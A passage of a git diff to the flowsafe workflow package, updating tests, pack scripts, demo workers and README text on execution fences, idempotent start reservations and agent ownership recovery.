fence.rebindProofRun({ + reservation: bound, + execution, + proof: { + key: bound.key, + mutationEpoch: reading.mutationEpoch, + transitionRevision: reading.transitionRevision, + }, + reservationStore: reservations, + }), + ).toBe(true); + const store = approvalStoreFactoryFor(db).store(); + const at = new Date(1_700_000_000_000).toISOString(); + await store.create({ + id: 'starter-proof-approval', + workflowId, + runId, + title: 'Approve the selected generation', + connectors: [], + priority: 'normal', + status: 'pending', + requestedBy: owner.id, + requestedByKind: owner.kind, + createdAt: at, + updatedAt: at, + }); + const reviewer = { id: 'reviewer', role: 'reviewer' as const }; + const context = contextForPrincipal(env, humanPrincipal(reviewer)); + const decision = context + .service() + .decide('starter-proof-approval', { decision: 'approve' }, reviewer); + if (proofPrefix === '') { + await expect(decision).resolves.toMatchObject({ + record: { status: 'approved' }, + }); + } else { + await expect(decision).rejects.toMatchObject({ + reason: { code: 'EXECUTION_FENCED' }, + }); + } + expect((await store.get('starter-proof-approval'))?.status).toBe( + proofPrefix === '' ? 'approved' : 'pending', + ); + }); +}); diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 63799858..fc56af1f 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -308,7 +308,9 @@ Administrative readings include `mutationEpoch`, `requireMutationEpoch`, and `tr The `do-runner` and `host-kit` entry points export `normalizeRunExecutionIdentity`, `normalizeD1RunExecutionIdentity`, `normalizeStartIdentity`, `normalizeStartExecutionIdentity`, and mutation-epoch validation/header helpers. They copy validated identity data without authenticating it. String D1 prefixes normalize to lowercase; null explicitly means no D1 namespace and differs from the empty default prefix. -Reservation reads expose legacy, unbound, or bound metadata, while current writes still create legacy bindings. Stored `proofExecution` remains server-side and is omitted from admin JSON. These schema/helper APIs do not enable runtime generation checks or final-write enforcement. +New reservations are unbound until an exact winning claim or an observed result binds their physical execution. Runtime generates a separate execution token for each new run generation, and proof-only re-entry compares its namespace, workflow, run and generation. Stored `proofExecution` stays server-side and is omitted from admin JSON. Final schedule-write protection and generation-aware retention acceptance are still required before enabling artifact-epoch enforcement across the deployment. + +With a configured fence, Runtime requires the actual D1 domain's positive initial-write witness before engine entry. Without a fence, capable D1 keeps its real namespace and ordinary persistence behavior; custom storage explicitly asserts no D1 namespace. Managed hosts persist preparation journals and require a matching nonpending durable outcome before acknowledging execution. A valid pending generation returns `RUN_START_PENDING` with status 503; keyed retries use the idempotent-start refusal contract. See the [runner design](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/do-runner-design.md#execution-fence-and-start-reservations) for exact claims, replay and recovery. Use `GET /admin/inventory` while the fence remains `draining`. A drain is proven only after every work category is empty across two complete sweeps at least 60 seconds apart. Readings are point-in-time observations rather than snapshots and can move in either direction while draining admits work. Empty results cannot over-count, and keyset pagination never skips a row that existed before the sweep began. If you need a hard guarantee, re-sweep once after transitioning to `migration-locked`: an empty post-lock sweep is conclusive; a non-empty one means work is still outstanding, either because it entered after the proof or because the lock parked it before it finished. Return to `draining` and repeat the proof. An inventory read taken under `migration-locked` measures what the fence parked rather than what the deployment would otherwise be doing. Schedules and signal subscriptions are standing configuration and need not empty. Persisted idle signals are deliberately unenumerable and carry into the replacement deployment. diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index 90452aa3..8fd63bb3 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -444,11 +444,13 @@ void createRunRouter; } from '@proofoftech/flowsafe/approval-api'; import { type RunnerRuntime, type RunExecutionIdentity, type StartRunOptions, - type ThreadScope, + type ThreadScope, type StartReservationReading, type PersistedStartResult, + type RunSummary, } from '@proofoftech/flowsafe/do-runner'; import { createFlowsafeWorker, type FlowsafeWorkerConfig, type FlowsafeWorkerEnv, type RunStartInput, + type RunRouterStartIdempotency, } from '@proofoftech/flowsafe/host-kit'; import { type AgentStartAuthority, type FlowsafeDurableAgent, @@ -524,12 +526,26 @@ const partialRequester: StartRunOptions = { runId: 'run', requestedBy: actor.id const stringEpoch: StartRunOptions = { runId: 'run', mutationEpoch: '2' }; declare const runtime: RunnerRuntime; void runtime.start('workflow', options); +declare const winningClaim: StartReservationReading; +const keyedOptions: StartRunOptions = { ...options, startReservation: winningClaim }; +const keyedInput: RunStartInput = { ...epochInput, startReservation: winningClaim }; +const persistedResult: PersistedStartResult = { + kind: 'result', value: { runId: 'run', status: 'success' }, + execution: { tablePrefix: null, workflowId: 'workflow', runId: 'run', startToken: 'generation', + owner: { kind: 'human', id: actor.id }, target: { kind: 'workflow', id: 'workflow' } }, +}; +const privateStart: Exclude['persistedStart'] = async () => persistedResult; +// @ts-expect-error ordinary status does not provide execution identity +const invalidPrivateStart: typeof privateStart = async () => ({ runId: 'run', status: 'success' }); +// @ts-expect-error token-only recovery is removed +void runtime.recoverStartAttempt('workflow', 'run', 'attempt'); const authority: AgentStartAuthority = { mutationEpoch: 2, startIdentity: { owner: { kind: 'human', id: actor.id }, target: { kind: 'agent', id: 'agent', threadId: 'thread' } }, agentStart: { threaded: true }, onPreparedStartIdentity: undefined, }; const callbackAuthority: AgentStartAuthority = { ...authority, onPreparedStartIdentity: onPrepared }; +const keyedAuthority: AgentStartAuthority = { ...callbackAuthority, startReservation: winningClaim }; declare const durable: FlowsafeDurableAgent; void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, authority); void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, callbackAuthority); @@ -542,7 +558,7 @@ void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, { ...authority, onPreparedStartIdentity: 'invalid' }); // @ts-expect-error the bridge requires an agent target void durable.streamUntilPersisted('input', { runId: 'run' }, actor.id, 'human', 'attempt', undefined, undefined, { ...authority, startIdentity: { owner: authority.startIdentity.owner, target: { kind: 'workflow', id: 'workflow' } } }); -void [legacyContext, epochContext, legacyScope, epochScope, legacyInput, epochInput, legacyOptions, partialRequester, stringEpoch, omitted]; +void [legacyContext, epochContext, legacyScope, epochScope, legacyInput, epochInput, legacyOptions, partialRequester, stringEpoch, omitted, keyedOptions, keyedInput, privateStart, invalidPrivateStart, keyedAuthority]; `, ); writeFileSync( @@ -586,6 +602,7 @@ import * as doRunner from '@proofoftech/flowsafe/do-runner'; import * as hostKit from '@proofoftech/flowsafe/host-kit'; import * as agentRunner from '@proofoftech/flowsafe/agent-runner'; import { Mastra } from '@mastra/core/mastra'; +import { InMemoryStore } from '@mastra/core/storage'; import { createStep, createWorkflow } from '@mastra/core/workflows'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from './sqlite-fixture.mjs'; @@ -612,6 +629,8 @@ for (const name of [ 'IdempotentStartPendingError', 'IdempotentStartUnresolvableError', 'IdempotentStartAlreadySettledError', + 'RunStartPendingError', + 'isRunStartPendingError', 'DeploymentInventory', ]) { assert.equal(typeof doRunner[name], 'function', name); @@ -632,6 +651,10 @@ assert.equal(typeof hostKit.createFlowsafeWorker, 'function'); assert.equal(hostKit.FENCED_WORKFLOW_STORAGE, doRunner.FENCED_WORKFLOW_STORAGE); assert.equal('FencedWorkflowsStorageD1' in hostKit, false); assert.equal(typeof agentRunner.FlowsafeDurableAgent, 'function'); +for (const name of ['claim', 'release', 'settleRun']) { + assert.equal(name in doRunner.StartIdempotencyStore.prototype, false, name); +} +for (const api of [flowsafe, doRunner, hostKit]) assert.equal('rollbackFencedStart' in api, false); for (const api of [flowsafe, approvals, doRunner, hostKit, host, agentRunner]) { for (const name of ['captureActorContext', 'captureAgentStartAuthority', 'captureStartRunOptions', 'startAuthorities', 'AgentStartAuthority']) { assert.equal(name in api, false, name); @@ -678,6 +701,12 @@ const repair = await capability.withInitialAdmission({ execution: repairExecutio requestContext: { app: 'retained', 'flowsafe.runProvenance': { version: 2, startToken: repairExecution.startToken, attemptToken: 'repair-correlation', resumeCounts: [] } }, }, () => workflow.createRun({ runId: repairExecution.runId })); const repairRequest = { expected: repair.witness.row, execution: repairExecution, attemptToken: 'repair-correlation', nowMs: 1700000000123 }; +const observer = doRunner.init({ storage }, { executionFence: new doRunner.ExecutionFenceStore(binding), startIdempotency: 'none' }).runtime; +observer.register(workflow); +const initial = await observer.authoritativeStartState(workflow.id, repairExecution.runId); +assert.equal(initial.kind, 'initial'); +assert.equal('summary' in initial, false); +await assert.rejects(() => observer.status(workflow.id, repairExecution.runId), doRunner.isRunStartPendingError); const repaired = await capability.terminalizeInitialAdmission(repairRequest); assert.equal(repaired.kind, 'terminalized'); const repairedSnapshot = JSON.parse(repaired.row.snapshot); @@ -690,6 +719,65 @@ assert.equal(repaired.row.updatedAt, '2023-11-14T22:13:20.123Z'); assert.deepEqual(await capability.readSnapshot(repairExecution), repaired.row); assert.equal((await capability.terminalizeInitialAdmission(repairRequest)).kind, 'already-terminalized'); assert.equal(engineCalls, 1); +const reservations = new doRunner.StartIdempotencyStore(binding); +const generations = new Set(); +let modernEffects = 0; +for (const mode of [ + { name: 'fenced', storage: doRunner.createD1Storage({ binding }), fence: new doRunner.ExecutionFenceStore(binding), prefix: '' }, + { name: 'optional', storage: doRunner.createD1Storage({ binding, tablePrefix: 'packed_opt_' }), fence: 'none', prefix: 'packed_opt_' }, + { name: 'custom', storage: new InMemoryStore(), fence: 'none', prefix: null }, +]) { + await mode.storage.init(); + const app = doRunner.init({ storage: mode.storage }, { executionFence: mode.fence, startIdempotency: reservations }); + const workflowId = 'packed-runtime-' + mode.name; + const runId = 'packed-run-' + mode.name; + const owner = { kind: 'human', id: 'packed-owner' }; + const startIdentity = { owner, target: { kind: 'workflow', id: workflowId } }; + app.createWorkflow({ + id: workflowId, inputSchema: z.object({}), outputSchema: z.object({ value: z.string() }), + ...(mode.name === 'optional' ? { options: { shouldPersistSnapshot: ({ workflowStatus }) => workflowStatus !== 'pending' } } : {}), + }).then(app.createStep({ + id: 'effect', inputSchema: z.object({}), outputSchema: z.object({ value: z.string() }), + execute: async () => { modernEffects += 1; return { value: mode.name }; }, + })).commit(); + const request = { key: 'packed-key-' + mode.name, owner, targetKind: 'workflow', targetId: workflowId, mintRunId: () => runId }; + const reserved = await reservations.reserve(request); + assert.equal(reserved.reservation.binding.kind, 'unbound'); + const claimed = await reservations.claimReservation(reserved.reservation); + assert.equal(claimed.state, 'started'); + const summary = await app.runtime.start(workflowId, { + runId, inputData: {}, requestedBy: owner.id, requestedByKind: owner.kind, + attemptToken: 'packed-shared-H', startIdentity, idempotencyKey: request.key, startReservation: claimed, + }); + const selected = await app.runtime.authoritativeStartState(workflowId, runId); + assert.equal(selected.kind, 'result'); + assert.equal(selected.execution.tablePrefix, mode.prefix); + assert.notEqual(selected.execution.startToken, 'packed-shared-H'); + generations.add(selected.execution.startToken); + assert.deepEqual(summary.result, { value: mode.name }); + const complete = { ...selected.execution, ...startIdentity }; + const storedClaim = await reservations.read(request.key); + assert.equal(storedClaim.state, 'terminal'); + assert.deepEqual(storedClaim.binding, { kind: 'bound', execution: selected.execution }); + let reads = 0; + const surface = { + persisted: async () => { reads += 1; return { kind: 'result', execution: complete, value: selected.summary }; }, + live: async () => { throw new Error('a nonpending replay must not probe liveness'); }, + }; + const replay = await doRunner.beginIdempotentStart(reservations, request, surface, mode.fence); + assert.equal(replay.kind, 'replay'); + assert.equal(replay.persisted, selected.summary); + assert.equal(reads, 1); + const aliasRequest = { ...request, key: 'packed-alias-' + mode.name }; + await reservations.reserve(aliasRequest); + const alias = await doRunner.beginIdempotentStart(reservations, aliasRequest, surface, mode.fence); + assert.equal(alias.kind, 'replay'); + assert.equal(alias.persisted, selected.summary); + assert.deepEqual(alias.reservation.binding.execution, selected.execution); + assert.equal(await reservations.settleExecution(complete), 1); +} +assert.equal(generations.size, 3); +assert.equal(modernEffects, 3); for (const name of ['nextLifecycleRevision', 'nextResumeCount', 'terminalStateFields', 'decodeProgressRunProvenance']) { assert.equal(name in doRunner, false, name); assert.equal(name in hostKit, false, name); diff --git a/packages/flowsafe/scripts/provisioning-pack-test.mjs b/packages/flowsafe/scripts/provisioning-pack-test.mjs index 3567a744..8d685783 100644 --- a/packages/flowsafe/scripts/provisioning-pack-test.mjs +++ b/packages/flowsafe/scripts/provisioning-pack-test.mjs @@ -389,10 +389,23 @@ async function checkReservationTypes(store: RunnerAdmission.StartIdempotencyStor const binding: RunnerAdmission.StartReservationBinding | undefined = observed?.binding; const reserved = await store.reserve({ key: 'key', owner: legacyReservation.owner, targetKind: 'workflow', targetId: 'workflow', mintRunId: () => 'run' }); const kind: 'legacy' | 'unbound' | 'bound' = reserved.reservation.binding.kind; + const claimed = await store.claimReservation(reserved.reservation); + if (claimed) { + await store.bindPreparedStart(claimed, executionIdentity); + } + await store.settleExecution(executionIdentity); + const alias = await store.reserve({ key: 'alias', owner: legacyReservation.owner, targetKind: 'workflow', targetId: 'workflow', mintRunId: () => 'run' }); + await store.associateReservation(alias.reservation, executionIdentity); + const releasable = await store.reserve({ key: 'release', owner: legacyReservation.owner, targetKind: 'workflow', targetId: 'workflow', mintRunId: () => 'release-run' }); + const releaseClaim = await store.claimReservation(releasable.reservation); + if (releaseClaim) await store.releaseReservation(releaseClaim); + // @ts-expect-error run-only claims are removed await store.claim('key', 'run'); + // @ts-expect-error run-only releases are removed await store.release('key', 'run'); + // @ts-expect-error run-only settlement is removed await store.settleRun('run'); - RunnerAdmission.admitsExistingRun({ state: 'proof-only', proofRunId: 'run' }, 'run'); + RunnerAdmission.admitsExistingRun({ state: 'proof-only', proofExecution: d1Identity }, d1Identity); return { binding, kind }; } void [hostRunIdentity, hostD1Identity, hostStartIdentity, hostExecutionIdentity, hostD1StartIdentity, hostEpochContext, checkReservationTypes]; @@ -681,8 +694,8 @@ void [legacyContext, scopedContext, legacyScope, epochScope, legacyStart, epochS ) { throw new Error('fence columns were not added after the initial row'); } - const seededState = JSON.parse(readFileSync(statePath, 'utf8')).fenceState; const seededFence = JSON.parse(readFileSync(statePath, 'utf8')); + const seededState = seededFence.fenceState; if ( seededFence.fenceStage !== 7 || ['proof_table_prefix', 'proof_workflow_id', 'proof_start_token'].some( diff --git a/packages/flowsafe/spike/durability-benchmark.worker.ts b/packages/flowsafe/spike/durability-benchmark.worker.ts index f14b1d08..f46a5bae 100644 --- a/packages/flowsafe/spike/durability-benchmark.worker.ts +++ b/packages/flowsafe/spike/durability-benchmark.worker.ts @@ -423,6 +423,7 @@ function flowsafeService(env: Env): ApprovalService { // This one DECIDES, and decide() commits before it resumes: same database, // same fence as the runs it moves. executionFence: executionFenceFor(env.DB as unknown as never), + workflowTablePrefix: '', }); } diff --git a/packages/flowsafe/spike/worker.ts b/packages/flowsafe/spike/worker.ts index 5c66414e..f2b11abe 100644 --- a/packages/flowsafe/spike/worker.ts +++ b/packages/flowsafe/spike/worker.ts @@ -1313,6 +1313,7 @@ export class DemoThread extends ThreadDurableObject { // COMMITS before it resumes, so it gates on the same store as the // thread runtime beside it. executionFence: executionFenceForEnv(env), + workflowTablePrefix: '', stream: (event) => createHubTopology( this.env.HUB, @@ -1351,11 +1352,16 @@ export class DemoThread extends ThreadDurableObject { _env: Env, threadId: string, initResult: InitResult, + deploymentTag?: string, ): Promise { if (!this.#agentHost) { throw new Error('thread agent host is unavailable'); } - await this.#agentHost.recoverOwnership(initResult.runtime, threadId); + await this.#agentHost.recoverOwnership({ + threadId, + init: initResult, + deploymentTag, + }); } #host(): ThreadAgentHost { @@ -1839,6 +1845,7 @@ function actorContextForPrincipal( // reason: these contexts decide approvals, and decide() COMMITS before // it resumes. Same database, same store. executionFence: executionFenceForEnv(env), + workflowTablePrefix: '', }), }); } @@ -1933,6 +1940,7 @@ function buildApprovalService( // decision that committed against a locked deployment would be durable with // nothing behind it. Same database as the runs it gates. executionFence: executionFenceForEnv(env), + workflowTablePrefix: '', }); } @@ -3047,6 +3055,7 @@ const handler: ExportedHandler = { startIdempotency: { store: startIdempotencyForEnv(env), live: runTopology.startLiveness, + persistedStart: runTopology.persistedStart, executionFence: executionFenceForEnv(env), }, })(routed); diff --git a/packages/flowsafe/src/agent-host/router.test.ts b/packages/flowsafe/src/agent-host/router.test.ts index f752efaa..29e4a7a1 100644 --- a/packages/flowsafe/src/agent-host/router.test.ts +++ b/packages/flowsafe/src/agent-host/router.test.ts @@ -303,6 +303,7 @@ describe('C public agent transport', () => { 'attemptToken', 'runOwnerGuard', 'onPreparedStartIdentity', + 'startReservation', ])('C agent route refuses public authority field %s', async (field) => { const host = topology(); const router = createAgentRouter({ @@ -323,6 +324,40 @@ describe('C public agent transport', () => { expect(host.start).not.toHaveBeenCalled(); }); + it('FS8 D3 protected replay rejects a complete public start reservation', async () => { + const host = topology(); + const router = createAgentRouter({ + agents, + resolve: async () => context(), + topology: host, + }); + const response = await router( + new Request('https://host/agents/writer/runs', { + method: 'POST', + body: JSON.stringify({ + prompt: 'go', + startReservation: { + key: 'forged-key', + owner: { kind: 'human', id: 'operator' }, + targetKind: 'agent', + targetId: 'writer', + threadId: 'thread', + runId: 'run', + state: 'started', + createdAt: 1, + updatedAt: 2, + binding: { kind: 'unbound' }, + }, + }), + }), + ); + expect(response?.status).toBe(400); + expect(await response?.json()).toEqual({ + error: "field 'startReservation' is not allowed", + }); + expect(host.start).not.toHaveBeenCalled(); + }); + it('C agent route retains direct invalid-epoch error data', async () => { const host = topology(); const source = { ...context(), mutationEpoch: -1 }; diff --git a/packages/flowsafe/src/agent-host/thread-host.test.ts b/packages/flowsafe/src/agent-host/thread-host.test.ts index f6c6e88e..eb517bb2 100644 --- a/packages/flowsafe/src/agent-host/thread-host.test.ts +++ b/packages/flowsafe/src/agent-host/thread-host.test.ts @@ -2,7 +2,7 @@ import type { MastraCompositeStore } from '@mastra/core/storage'; import type { GuardedAgentHandle } from '@proofoftech/breakwater/agent'; -import { beforeEach, describe, expect, it, vi } from 'vitest'; +import { beforeEach, describe, expect, it, onTestFinished, vi } from 'vitest'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; import type { FlowsafeDurableAgent } from '../agent-runner/durable-agent-runner.js'; @@ -10,9 +10,11 @@ import { type ApprovalAuditEvent, type ApprovalRecord, type ApprovalService, + D1ResourceOwnershipStore, type ExecutionPrincipal, InMemoryResourceOwnershipStore, type RecoverableResourceOwnershipStore, + type ResourceOwnershipDatabase, } from '../approval-api/index.js'; import { FENCED_WORKFLOW_STORAGE, @@ -57,18 +59,27 @@ const mocked = vi.hoisted(() => ({ resumeViaRuntime: vi.fn(), observe: vi.fn(), getHistory: vi.fn(), + isRunLive: vi.fn(), + actualFactory: false, + actualAgent: undefined as unknown, })); const RESOURCE_ID = resourceIdFromKey('acme_thread'); const GUARDED_AGENT_HOST_PROTOCOL = Symbol.for( '@proofoftech/breakwater/guarded-agent-host/v1', ); -vi.mock('@proofoftech/breakwater/agent', () => ({ - isGuardedAgentHandle: (value: unknown) => - typeof value === 'object' && - value !== null && - (value as { guarded?: unknown }).guarded === true, -})); +vi.mock('@proofoftech/breakwater/agent', async (importOriginal) => { + const original = + await importOriginal(); + return { + ...original, + isGuardedAgentHandle: (value: unknown) => + typeof value === 'object' && + value !== null && + ((value as { guarded?: unknown }).guarded === true || + original.isGuardedAgentHandle(value)), + }; +}); vi.mock('@mastra/core/mastra', () => { class Mastra { @@ -99,12 +110,56 @@ vi.mock('../agent-runner/index.js', async (importOriginal) => { await importOriginal(); return { ...original, - createFlowsafeDurableAgent: () => { + createFlowsafeDurableAgent: ( + configuration: Parameters[0], + ) => { + if (mocked.actualFactory) + return original.createFlowsafeDurableAgent(configuration); const runIds = new Set(); return { + getWorkflow: () => ({ id: 'durable-agentic-loop' }), + isRunLive: (runId: string) => + mocked.isRunLive(configuration.agent.id, runId), + authoritativeAgentStartState: async ( + expected: RunnerRuntime, + threadId: string, + runId: string, + ) => { + if (expected !== configuration.runtime) + throw new Error('runtime mismatch'); + const state = await expected.authoritativeStartState( + 'durable-agentic-loop', + runId, + ); + if (!state) return null; + const identity = state.provenance.startIdentity; + if ( + identity?.target.kind !== 'agent' || + identity.target.id !== configuration.agent.id || + identity.target.threadId !== threadId + ) + throw Object.assign(new Error('agent selectors mismatch'), { + status: 404, + }); + return { + ...state, + execution: { ...state.execution, ...identity }, + threaded: state.provenance.agentStart?.threaded, + }; + }, streamUntilPersisted: async (...args: unknown[]) => { const options = args[1] as { runId?: string } | undefined; if (options?.runId) runIds.add(options.runId); + const authority = args[7] as + | import('../agent-runner/durable-agent-runner.js').AgentStartAuthority + | undefined; + if (configuration.runtime.constructor.name !== 'RunnerRuntime') + await authority?.onPreparedStartIdentity?.({ + tablePrefix: null, + workflowId: 'durable-agentic-loop', + runId: options?.runId ?? '', + startToken: 'test-generation', + }); return mocked.stream(...args); }, resumeViaRuntime: async (...args: unknown[]) => { @@ -158,6 +213,8 @@ function guarded( id = 'writer', automationKinds: readonly string[] = [], ): GuardedAgentHandle { + if (mocked.actualAgent && id === 'writer') + return mocked.actualAgent as GuardedAgentHandle; return { guarded: true, [GUARDED_AGENT_HOST_PROTOCOL]: { @@ -265,12 +322,127 @@ function harness( if (!statusVisible && !started) return null; return summary ? { ...summary, runId } : null; }), - recoverStartAttempt: vi.fn(async (_workflowId: string, runId: string) => { + isRunActive: vi.fn(() => false), + workflowIds: vi.fn(() => []), + settleStartExecution: vi.fn(async () => {}), + authoritativeStartState: vi.fn( + async (_workflowId: string, runId: string) => { + const call = mocked.stream.mock.calls.find( + (call) => call[1]?.runId === runId, + ); + if (options.runtime?.status) { + const override = await options.runtime.status(_workflowId, runId); + if (!override) return null; + summary = override; + } + const resumed = mocked.resumeViaRuntime.mock.settledResults.at(-1); + if (resumed?.type === 'fulfilled' && resumed.value?.runId === runId) + summary = resumed.value; + const terminated = vi.isMockFunction( + options.runtime?.terminateAsPrincipal, + ) + ? options.runtime.terminateAsPrincipal.mock.settledResults.at(-1) + : undefined; + if (terminated?.type === 'fulfilled') + summary = terminated.value.summary; + if (!statusVisible && !call && !terminated) return null; + if (!summary) return null; + const authority = call?.[7] as + | import('../agent-runner/durable-agent-runner.js').AgentStartAuthority + | undefined; + const identity = authority?.startIdentity ?? { + owner: { + kind: options.principal?.kind ?? 'human', + id: options.principal?.id ?? 'operator-1', + }, + target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, + }; + const current = snapshot as { + requestContext: Record; + context: { + input: { + agentId: string; + messageListState: { memoryInfo: unknown }; + }; + }; + }; + if ( + (!call && current.context.input.agentId !== identity.target.id) || + current.requestContext.threadId !== 'acme_thread' || + current.requestContext.resourceId !== RESOURCE_ID + ) + throw Object.assign(new Error('agent selectors mismatch'), { + status: 404, + }); + const threaded = + authority?.agentStart.threaded ?? + current.context.input.messageListState.memoryInfo !== null; + const provenance = { + version: 2, + startToken: 'test-generation', + attemptToken: call?.[4] ?? `token-${runId}`, + resumeCounts: [], + startIdentity: identity, + agentStart: { threaded }, + }; + const lifecycle = + terminated?.type === 'fulfilled' + ? { + version: 1, + revision: terminated.value.cleanup.revision, + terminal: { + status: terminated.value.cleanup.status, + error: summary.errorEnvelope, + transitionedAt: 1, + replayPrincipals: [{ kind: 'human', id: 'operator-1' }], + ...(terminated.value.cleanup.cleanupCompleted + ? { cleanupCompletedAt: 2 } + : {}), + }, + ...(terminated.value.cleanup.scheduleDispatch + ? { + scheduleDispatch: + terminated.value.cleanup.scheduleDispatch, + } + : {}), + } + : undefined; + return { + kind: summary.status === 'pending' ? 'initial' : 'result', + storage: 'unfenced', + execution: ( + state.get(OWNER_RECOVERY_PREFIX + runId) as + | { execution?: unknown } + | undefined + )?.execution ?? { + tablePrefix: null, + workflowId: 'durable-agentic-loop', + runId, + startToken: 'test-generation', + }, + provenance, + snapshot: { + ...current, + requestContext: { + ...current.requestContext, + 'flowsafe.runProvenance': provenance, + ...(lifecycle ? { 'flowsafe.runLifecycle': lifecycle } : {}), + }, + }, + ...(summary.status === 'pending' + ? {} + : { summary: { ...summary, runId } }), + }; + }, + ), + recoverStartAttempt: vi.fn(async (execution: { runId: string }) => { const started = mocked.stream.mock.calls.some( - (call) => call[1]?.runId === runId, + (call) => call[1]?.runId === execution.runId, ); if (!statusVisible && !started) return null; - return summary ? { ...summary, runId } : null; + return summary + ? { kind: 'ordinary', summary: { ...summary, runId: execution.runId } } + : null; }), ...options.runtime, } as unknown as RunnerRuntime; @@ -517,10 +689,13 @@ async function seedThreadlessSchedule( beforeEach(() => { mocked.mastra.mockReset(); + mocked.actualFactory = false; + mocked.actualAgent = undefined; mocked.stream.mockReset().mockResolvedValue({}); mocked.resumeViaRuntime.mockReset(); mocked.observe.mockReset(); mocked.getHistory.mockReset().mockResolvedValue([]); + mocked.isRunLive.mockReset().mockReturnValue(false); }); const OWNER_RECOVERY_PREFIX = 'flowsafe:agent-owner-recovery:v1:'; @@ -534,7 +709,20 @@ function ownerRecovery( overrides: Record = {}, ): Record { return { - version: 1, + version: 2, + phase: 'prepared', + execution: { + tablePrefix: '', + workflowId: 'durable-agentic-loop', + runId, + startToken: 'test-generation', + }, + runRecord: { + version: 2, + agentId: 'writer', + principal: { kind: 'human', id: 'operator-1', role: 'operator' }, + originEntryPath: 'http.start', + }, agentId: 'writer', threadId: 'acme_thread', resourceId: RESOURCE_ID, @@ -669,7 +857,7 @@ describe('C direct thread host capture', () => { 'normal', 'failure', 'recovery', - ] as const)('C thread host preserves v1 owner recovery without automatic activation: %s', async (phase) => { + ] as const)('FS8 D3 host activation agent preparation and ownership: %s', async (phase) => { const core = await vi.importActual( '@mastra/core/mastra', ); @@ -680,7 +868,8 @@ describe('C direct thread host capture', () => { const sql = openSqlite() as ReturnType & { close(): void; }; - const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase; + const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase & + ResourceOwnershipDatabase; const storage = createD1Storage({ binding }); await storage.init(); const fence = new ExecutionFenceStore(binding); @@ -759,7 +948,13 @@ describe('C direct thread host capture', () => { value: capability, configurable: true, }); - const fixture = harness(['writer'], { init: app, storage }); + const fixture = harness(['writer'], { + init: app, + storage, + resourceAccess: new D1ResourceOwnershipStore( + binding as ResourceOwnershipDatabase, + ), + }); Object.assign(fixture.scope, { mutationEpoch: 2 }); expect(fixture.scope.init.runtime).toBe(app.runtime); const writes: Array<[string, unknown]> = []; @@ -833,38 +1028,39 @@ describe('C direct thread host capture', () => { expect(mocked.stream).toHaveBeenCalledOnce(); const args = mocked.stream.mock.calls[0]; expect(args).toHaveLength(8); - expect(args?.[7]).toHaveProperty('onPreparedStartIdentity', undefined); + expect(args?.[7]).toHaveProperty( + 'onPreparedStartIdentity', + expect.any(Function), + ); expect(Object.hasOwn(args?.[7], 'onPreparedStartIdentity')).toBe(true); const journals = writes.filter(([key]) => key.startsWith('flowsafe:agent-owner-recovery'), ); - expect(journals).toEqual([ - [ - TEST_OWNER_RECOVERY_KEY, - { - version: 1, - agentId: 'writer', - threadId: 'acme_thread', - resourceId: RESOURCE_ID, - runId: 'acme_run', - owner: HUMAN_OWNER, - token: args?.[4], - threaded: false, - bindingPreexisting: false, - }, - ], - ]); + expect(journals).toHaveLength(phase === 'failure' ? 1 : 2); + expect(journals[0]?.[1]).toMatchObject({ + version: 2, + phase: 'preparing', + token: args?.[4], + runRecord: { version: 2, principal: fixture.scope.principal }, + }); + if (phase !== 'failure') + expect(journals[1]?.[1]).toMatchObject({ + phase: 'prepared', + execution: { startToken: expect.any(String) }, + }); const snapshot = await workflows.loadWorkflowSnapshot({ workflowName: 'durable-agentic-loop', runId: 'acme_run', }); if (phase === 'failure') expect(snapshot).toBeNull(); else { - expect(snapshot?.requestContext?.['flowsafe.runProvenance']).toEqual({ - version: 1, + expect( + snapshot?.requestContext?.['flowsafe.runProvenance'], + ).toMatchObject({ + version: 2, requestedBy: 'operator-1', requestedByKind: 'human', - startToken: args?.[4], + startToken: expect.any(String), attemptToken: args?.[4], resumeCounts: [], }); @@ -887,8 +1083,8 @@ describe('C direct thread host capture', () => { ]); } if (phase === 'recovery') - expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(true); - await fixture.host.recoverOwnership(app.runtime, fixture.scope.threadId); + expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); + await fixture.host.recoverOwnership(fixture.scope); expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false); expect( writes.filter(([key]) => @@ -898,7 +1094,10 @@ describe('C direct thread host capture', () => { } finally { mocked.mastra.mockReset(); sql.close(); - expect(counts).toEqual({ admission: 0, terminalization: 0 }); + expect(counts).toEqual({ + admission: phase === 'failure' ? 0 : 1, + terminalization: 0, + }); } }); @@ -1073,7 +1272,7 @@ describe('C direct thread host capture', () => { target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' }, }, agentStart: { threaded }, - onPreparedStartIdentity: undefined, + onPreparedStartIdentity: expect.any(Function), runOwnerGuard: { owner: HUMAN_OWNER, reservationToken: args?.[4] }, }); expect(Object.hasOwn(authority, 'onPreparedStartIdentity')).toBe(true); @@ -1086,24 +1285,32 @@ describe('C direct thread host capture', () => { HUMAN_OWNER, args?.[4], ]); - expect( - writes.filter(([key]) => key.startsWith(OWNER_RECOVERY_PREFIX)), - ).toEqual([ - [ - TEST_OWNER_RECOVERY_KEY, - { - version: 1, - agentId: 'writer', - threadId: 'acme_thread', - resourceId: RESOURCE_ID, - runId: 'acme_run', - owner: HUMAN_OWNER, - token: args?.[4], - threaded, - bindingPreexisting: scheduled && threaded, - }, - ], - ]); + const journals = writes.filter(([key]) => + 